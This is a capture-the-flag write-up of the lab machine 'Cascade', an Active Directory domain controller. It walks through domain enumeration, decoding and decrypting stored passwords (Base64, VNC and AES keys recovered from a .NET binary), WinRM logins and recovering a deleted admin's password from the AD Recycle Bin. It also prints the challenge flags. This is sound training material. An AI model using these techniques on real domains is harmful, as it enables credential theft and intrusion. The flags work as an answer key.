

Cascade (HTB) - Writeup

Enumeration

Nmap

We start with scanning the Target for open ports and running services.

```
sudo nmap -p- -Pn -T4 --min-rate=1000 -sC -sV 10.129.170.31 > nmap-full-scan.txt
```

```
(ziliel@ziliel)-[/media/.../Writeups/OWN/Cascade/scans]
$ cat nmap-full-scan.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-06 23:23 CEST
Nmap scan report for 10.129.170.31
Host is up (0.041s latency).
Not shown: 65520 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-06 21:25:49Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-title: Not Found
|_ http-server-header: Microsoft-HTTPAPI/2.0
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc        Microsoft Windows RPC
49165/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|_  date: 2025-07-06T21:26:42
|_  start_date: 2025-07-06T21:21:35
| smb2-security-mode:
|_  2:1:0:
|_    Message signing enabled and required
|_ clock-skew: 2s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 207.65 seconds
```

we see that the ldap domain is cascade.local.

enum4linux

We continue with further enumeration and scan the target with the `enum4linux` tool.

```
enum4linux -a 10.129.170.31 > enum4linux.txt
```

```
=====-( Users on 10.129.170.31 )=====
index: 0xee0 RID: 0x464 acb: 0x00000214 Account: a.turnbull Name: Adrian Turnbull Desc: (null)
index: 0xebc RID: 0x452 acb: 0x00000210 Account: arksvc Name: ArkSvc Desc: (null)
index: 0xee4 RID: 0x468 acb: 0x00000211 Account: b.hanson Name: Ben Hanson Desc: (null)
index: 0xee7 RID: 0x46a acb: 0x00000210 Account: BackupSvc Name: BackupSvc Desc: (null)
index: 0xeb RID: 0x1f5 acb: 0x00000215 Account: CascGuest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0xee5 RID: 0x469 acb: 0x00000210 Account: d.burman Name: David Burman Desc: (null)
index: 0xee3 RID: 0x467 acb: 0x00000211 Account: e.crowe Name: Edward Crowe Desc: (null)
index: 0xeec RID: 0x46f acb: 0x00000211 Account: i.croft Name: Ian Croft Desc: (null)
index: 0xeeb RID: 0x46e acb: 0x00000210 Account: j.allen Name: Joseph Allen Desc: (null)
index: 0xede RID: 0x462 acb: 0x00000210 Account: j.goodhand Name: John Goodhand Desc: (null)
index: 0xed7 RID: 0x45c acb: 0x00000210 Account: j.wakefield Name: James Wakefield Desc: (null)
index: 0xeca RID: 0x455 acb: 0x00000210 Account: r.thompson Name: Ryan Thompson Desc: (null)
index: 0xedd RID: 0x461 acb: 0x00000210 Account: s.hickson Name: Stephanie Hickson Desc: (null)
index: 0xebd RID: 0x453 acb: 0x00000210 Account: s.smith Name: Steve Smith Desc: (null)
index: 0xed2 RID: 0x457 acb: 0x00000210 Account: util Name: Util Desc: (null)
```

We did find all Users on the AD!

```
[+] Password Info for Domain: CASCADE

[+] Minimum password length: 5
[+] Password history length: None
[+] Maximum password age: Not Set
[+] Password Complexity Flags: 000000

[+] Domain Refuse Password Change: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password Lockout Admins: 0
[+] Domain Password No Clear Change: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password Complex: 0

[+] Minimum password age: None
[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes
[+] Account Lockout Threshold: None
[+] Forced Log off Time: Not Set
```

We see that Account Lockout Threshold is set to None which means we don't get Blocked if we Bruteforce Credentials.

```
[+] Getting local group memberships:
```

```
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\krbtgt
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Domain Controllers
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Schema Admins
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Enterprise Admins
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Cert Publishers
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Domain Admins
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Group Policy Creator Owners
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Read-only Domain Controllers
Group: IT' (RID: 1113) has member: CASCADE\arksvc
Group: IT' (RID: 1113) has member: CASCADE\s.smith
Group: IT' (RID: 1113) has member: CASCADE\r.thompson
Group: AD Recycle Bin' (RID: 1119) has member: CASCADE\arksvc
Group: HR' (RID: 1115) has member: CASCADE\s.hickson
Group: Data Share' (RID: 1138) has member: CASCADE\Domain Users
Group: Audit Share' (RID: 1137) has member: CASCADE\s.smith
Group: Remote Management Users' (RID: 1126) has member: CASCADE\arksvc
Group: Remote Management Users' (RID: 1126) has member: CASCADE\s.smith
```

We also see the local Group memberships which can be helpful later during Privilege Escalation.

windapsearch

Next we enumerate ldap with windapsearch .

```
python3 ./windapsearch.py -U --full --dc-ip 10.129.170.31 > windapsearch-
scan.txt
```

```
cascadeLegacyPwd: clk0bjVldmE=
```

One User Attribute `cascadeLegacyPwd` of the user Ryan Thompson is suspicious.

It looks like a Base64 encoded string. So lets Decode it from Base64 .

```
echo clk0bjVldmE= | base64 -d
```

```
(ziliel@ziliel)-[/media/.../Writeups/OWN/Cascade/scans]
$ echo clk0bjVldmE= | base64 -d
rY4n5eva
```

Evil-WinRM

Lets try to log in to `r.thompson` with the found password through `Evil-WinRM` .

```
evil-winrm -i 10.129.170.31 -u r.thompson -p rY4n5eva
```

```
(ziliel@ziliel)-[/media/.../Writeups/OWN/Cascade/scans]
$ evil-winrm -i 10.129.170.31 -u r.thompson -p rY4n5eva

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-completion

Info: Establishing connection to remote endpoint

Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError

Error: Exiting with code 1
```

It exits with code 1. Looks like we don't have PowerShell Remoting permissions.

SmbMap

Lets try to map the SMB service running on our target with the credentials of Ryan

```
smbmap -H 10.129.170.31 -u r.thompson -p rY4n5eva
```

```

SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)

[+] IP: 10.129.170.31:445      Name: 10.129.170.31      Status: Authenticated
    Disk                      Permissions      Comment
    ----                      -
    ADMIN$                    NO ACCESS      Remote Admin
    Audit$                     NO ACCESS
    C$                         NO ACCESS      Default share
    Data                       READ ONLY
    IPC$                       NO ACCESS      Remote IPC
    NETLOGON                   READ ONLY      Logon server share
    print$                     READ ONLY      Printer Drivers
    SYSVOL                     READ ONLY      Logon server share

[*] Closed 1 connections

```

We have permissions to list the shares and read some of them as well.

SmbClient

Lets read into the Data share

```
smbclient -U r.thompson -p rY4n5eva //10.129.170.31/Data
```

```
smb: \IT\Email Archives\> ls
.                D            0   Tue Jan 28 19:00:30 2020
..               D            0   Tue Jan 28 19:00:30 2020
Meeting_Notes_June_2018.html An      2522 Tue Jan 28 19:00:12 2020
```

After some searching we find an interesting html file.

Lets download it and peak into it.

```
<p>-- We will be using a temporary account to
perform all tasks related to the network migration and this account will be deleted at the end of
2018 once the migration is complete. This will allow us to identify actions
related to the migration in security logs etc. Username is TempAdmin (password is the same as the normal admin acc
ount password). </p>
```

In the file we can find some words about a TempAdmin user that has the same password as the normal Admin.

Initial Access

After some looking around we find a new file related to the user s.smith .

```
smb: \IT\Temp\s.smith\> ls
.                D            0   Tue Jan 28 21:00:01 2020
..               D            0   Tue Jan 28 21:00:01 2020
VNC Install.reg  A      2680 Tue Jan 28 20:27:44 2020
```

Lets open, download and read the file.

```
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
```

We can assume that our finding is the password for the user s.smith in Hexadecimal.

To decrypt the password just do the following.

```
msfconsole
msf5 > irb
key="\x17\x52\x6b\x06\x23\x4e\x58\x07"
require 'rex/proto/rfb'
Rex::Proto::RFB::Cipher.decrypt ["6BCF2A4B6E5ACA0F"].pack('H*'), key
```

[here](#) you can check out how this works!

The decrypted password is sT333ve2 .

Evil-WinRM

Lets log in with our credentials.

```
(ziliel@ziliel)-[/media/.../Writeups/OWN/Cascade/scans]
$ evil-winrm -i 10.129.166.220 -u s.smith -p sT333ve2

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined meth
od `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers
/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\s.smith\Documents>
```

We find the user flag at:

```
*Evil-WinRM* PS C:\Users\s.smith\Desktop> cat user.txt
84ae6bae44343eb5b7256d4d66d3ce09
```

Lateral Movement

Get-ADUser

Lets use the `Get-ADUser` cmdlet to see all attributes of the user s.smith.

```
Get-ADUser -Identity <username> -Properties *
```

```
MemberOf : {CN=Audit Share,OU=Groups,OU=UK,DC=cascade,DC=local, CN=Remote Managemen
nt Users,OU=Groups,OU=UK,DC=cascade,DC=local, CN=IT,OU=Groups,OU=UK,DC=cascade,DC=local}
```

```
ScriptPath : MapAuditDrive.vbs
```

We can see that `s.smith` is a member of the `Audit Share Group` and has a Log in script assigned to them.

SmbClient

We can find the login script in the `SMB` share `NETLOGON` for each user.

```
smbclient -U s.smith //10.129.185.77/NETLOGON
```

```

(ziliel@ziliel)-[/media/.../Writeups/OWN/Cascade/scans]
$ smbclient -U s.smith //10.129.185.77/NETLOGON
Password for [WORKGROUP\s.smith]:
Try "help" to get a list of possible commands.
smb: \> ls
.                D           0   Wed Jan 15 22:50:33 2020
..               D           0   Wed Jan 15 22:50:33 2020
MapAuditDrive.vbs A        258   Wed Jan 15 22:50:15 2020
MapDataDrive.vbs  A        255   Wed Jan 15 22:51:03 2020

6553343 blocks of size 4096. 1626507 blocks available

```

Lets Download both scripts and look what they do.

1.) MapDataDrive.vbs:

```

Option Explicit
Dim oNetwork, strDriveLetter, strRemotePath
strDriveLetter = "O:"
strRemotePath = "\\CASC-DC1\Data"
Set oNetwork = CreateObject("WScript.Network")
oNetwork.MapNetworkDrive strDriveLetter, strRemotePath
WScript.Quit

```

This script mounts the Dat drive which we previously accessed.

2.) MapAuditDrive.vbs:

```

Option Explicit
Dim oNetwork, strDriveLetter, strRemotePath
strDriveLetter = "F:"
strRemotePath = "\\CASC-DC1\Audit$"
Set oNetwork = CreateObject("WScript.Network")
oNetwork.MapNetworkDrive strDriveLetter, strRemotePath
WScript.Quit

```

This script mount the Audit\$ Drive which we didn't check out until now.

Lets inspect the Audit Drive from close as the user s.smith .

```

smbclient //10.129.185.77/Audit$ -U s.smith

```

```
(ziliel@ziliel)-[/media/.../Writeups/OWN/Cascade/scans]
$ smbclient //10.129.185.77/Audit$ -U s.smith
Password for [WORKGROUP\s.smith]:
Try "help" to get a list of possible commands.
smb: \> ls
.
```

.	D	0	Wed	Jan	29	19:01:26	2020		
..	D	0	Wed	Jan	29	19:01:26	2020		
CascAudit.exe	An	13312	Tue	Jan	28	22:46:51	2020		
CascCrypto.dll	An	12288	Wed	Jan	29	19:00:20	2020		
DB	D	0	Tue	Jan	28	22:40:59	2020		
RunAudit.bat	A	45	Wed	Jan	29	00:29:47	2020		
System.Data.SQLite.dll	A	363520	Sun	Oct	27	07:38:36	2019		
System.Data.SQLite.EF6.dll	A	186880	Sun	Oct	27	07:38:38	2019		
x64	D	0	Sun	Jan	26	23:25:27	2020		
x86	D	0	Sun	Jan	26	23:25:27	2020		

```
6553343 blocks of size 4096. 1626500 blocks available
```

We can see a bat file which usually show how programs are launched and with what parameters.

Lets Download and examine the `RunAudit.bat` file.

```
get RunAudit.bat
```

```
(ziliel@ziliel)-[/media/.../Writeups/OWN/Cascade/scans]
$ cat RunAudit.bat
CascAudit.exe "\\CASC-DC1\Audit$\DB\Audit.db"
```

As we see the batch file starts the `CascAudit.exe` file and gives it a path to `Audit.db`.

Now we want to check out what is in that `Audit.db` so we Download it too and examine it. We use the `file` command to check the file type.

```
(ziliel@ziliel)-[/media/.../Writeups/OWN/Cascade/scans]
$ file Audit.db
Audit.db: SQLite 3.x database, last written using SQLite version 3027002, file counter 60, database pages 6
, 1st free page 6, free pages 1, cookie 0x4b, schema 4, UTF-8, version-valid-for 60
```

Its a `SQLite` database.

SQLite

Lets check out whats in the db.

```
sqlitebrowser Audit.bat
```


Table: Ldap

	Id	uname	pwd	domain
...	Filter	Filter	Filter	Filter
1	1	ArkSvc	BQ05l5Kj9MderXx6Q6AG0w==	cascade.local

The table `Ldap` contains a password for the user `ArkSvc`. After we try decoding it we see it got encrypted so we continue with something else.

CascAudit.exe

Due to the fact that the Audit database is used by the `CascAudit.exe` program, let's take an attempt and decompile the `exe` and see if we might find how the password is encrypted.

```
(ziliel@ziliel)~/media/.../OWN/Cascade/scans/smb-findings
$ file CascAudit.exe
CascAudit.exe: PE32 executable for MS Windows 4.00 (console), Intel i386 Mono/.Net assembly, 3 sections
```

We can see that the file is a `.NET` executable. We can use `dnSpy` to open it. It can be run on `linux` with `wine`.

dnSpy

You can download the latest version [here](#).

```
sudo apt install wine64 -y
cd ~/Downloads
unzip dnSpy-netcore-win64.zip
cd dnSpy-netcore-win64
wine dnSpy.exe
```

Click on `File`, then `Open` and locate `CascAudit.exe` to decompile it. Locate the `main` function by clicking on `CascAudit (1.0.0.0)`, then `CascAudit` and selecting `MainModule`.

Main Function:

```
string text = string.Empty;
string password = string.Empty;
string text2 = string.Empty;
try
```

```

{
sqliteConnection.Open();
using (SQLiteCommand sqliteCommand = new SQLiteCommand("SELECT * FROM
LDAP",
sqliteConnection))
{
using (SQLiteDataReader sqliteDataReader = sqliteCommand.ExecuteReader())
{
sqliteDataReader.Read();
text = Conversions.ToString(sqliteDataReader["Uname"]);
text2 = Conversions.ToString(sqliteDataReader["Domain"]);
string text3 = Conversions.ToString(sqliteDataReader["Pwd"]);
try
{
password = Crypto.DecryptString(text3, "c4scadek3y654321");
}
catch (Exception ex)
{
Console.WriteLine("Error decrypting password: " + ex.Message);
return;
}
}
}
sqliteConnection.Close();
}

```

The Program opens the `SQLite` database, reads the password and finally decrypts it with the `Crypto.DecryptString` function using the key `c4scadek3y654321` . Unfortunately the function is not found in the executable so it might be in a `DLL` file.

Lets Download the `CascCrypto.dll` file from the share and open it with `dnSpy` .

```

public static string DecryptString(string EncryptedString, string Key)
{
byte[] array = Convert.FromBase64String(EncryptedString);
Aes aes = Aes.Create();
aes.KeySize = 128;
aes.BlockSize = 128;
aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");
aes.Mode = 1;
aes.Key = Encoding.UTF8.GetBytes(Key);
string @string;
using (MemoryStream memoryStream = new MemoryStream(array))

```

```
{
using (CryptoStream cryptoStream = new
CryptoStream(memoryStream, aes.CreateDecryptor(), 0))
{
byte[] array2 = new byte[checked(array.Length - 1 + 1)];
cryptoStream.Read(array2, 0, array2.Length);
@string = Encoding.UTF8.GetString(array2);
}
}
return @string;
}
```

The Program uses a 128-bit AES algorithm to decrypt the password.
The encryption mode is set to 1 and the IV to 1tdyjCbY1Ix49842 .
The .NET documentation states that mode 1 is CBC .

pyaes

Lets use the pyaes module to decrypt the password with a self written python script.

```
import pyaes
from base64 import b64decode
key = b"c4scadek3y654321"
iv = b"1tdyjCbY1Ix49842"
aes = pyaes.AESModeOfOperationCBC(key, iv = iv)
decrypted = aes.decrypt(b64decode('BQ05l5Kj9MdErXx6Q6AG0w=='))
print(decrypted.decode())
```

```
python3 decrypt.py
w3lc0meFr31nd
```

Now with the new credentials we found we can Log in to the user ArkSvc with the password w3lc0meFr31nd .

```
(ziliel@ziliel)-[/media/.../Writeups/OWN/Cascade/scans]
$ evil-winrm -i 10.129.185.77 -u ArkSvc -p w3lc0meFr31nd

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_pro
c' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-c
ompletion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\arksvc\Documents> ls
```

Privilege Escalation

Manuel Enumeration

We want to know in what groups our current user has a membership in.

```
Evil-WinRM> PS C:\Users\arksvc\Documents> whoami /all

USER INFORMATION
-----
User Name      SID
=====
cascade\arksvc S-1-5-21-3332504370-1206983947-1165150453-1106

GROUP INFORMATION
-----
Group Name      Type      SID      Attributes
=====
Everyone        Well-known group S-1-1-0   Mandatory group, Enabled by default, Enabled group
BUILTIN\Users    Alias      S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias      S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11  Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15  Mandatory group, Enabled by default, Enabled group
CASCADE\Data Share Alias      S-1-5-21-3332504370-1206983947-1165150453-1138 Mandatory group, Enabled by default, Enabled group, Local Group
CASCADE\IT Alias      S-1-5-21-3332504370-1206983947-1165150453-1113 Mandatory group, Enabled by default, Enabled group, Local Group
CASCADE\AD Recycle Bin Alias      S-1-5-21-3332504370-1206983947-1165150453-1119 Mandatory group, Enabled by default, Enabled group, Local Group
CASCADE\Remote Management Users Alias      S-1-5-21-3332504370-1206983947-1165150453-1126 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448

PRIVILEGES INFORMATION
-----
Privilege Name      Description      State
=====
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
```

The user is a member of the AD Recycle Bin Group. The AD Recycle Bin is used to recover Deleted AD Objects like Users, Groups etc. with no loss.

Get-ADObject

We continue with enumerating the AD Recycle Bin for user accounts only.

```
Get-ADObject -ldapfilter "(&(objectclass=user)(isDeleted=TRUE))" -
IncludeDeletedObjects
```

```
Deleted          : True
DistinguishedName : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=
local
Name             : TempAdmin
                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
ObjectClass      : user
ObjectGUID       : f0cc344d-31e0-4866-bceb-a842791ca059
```

We find the TempAdmin user which we heard of in the email we found. We know the TempAdmin has the same password as the real Admin user.

Lets enumerate further the TempAdmin user by applying the DisplayName filter.

```
Get-ADObject -ldapfilter "(&(objectclass=user)(DisplayName=TempAdmin)
(isDeleted=TRUE))" -IncludeDeletedObjects -Properties *
```

```
cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz
```

We found that the TempAdmin user has a similar property as the user r.thompson which contains a Base64 encoded string at first glance.

We decode the string,

```
(ziliel@ziliel)-[/media/.../Writeups/OWN/Cascade/scans]  
$ echo YmFDVDNyMWFOMDBkbGVz | base64 -d  
baCT3r1aN00dles
```

and find the Password for the TempAdmin user so we can log in to the Admin user.

Lets Log in as Admin through Evil-WinRM.

```
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt  
367b0d254b9c10ca31a1049e34987a5b
```

root.txt found!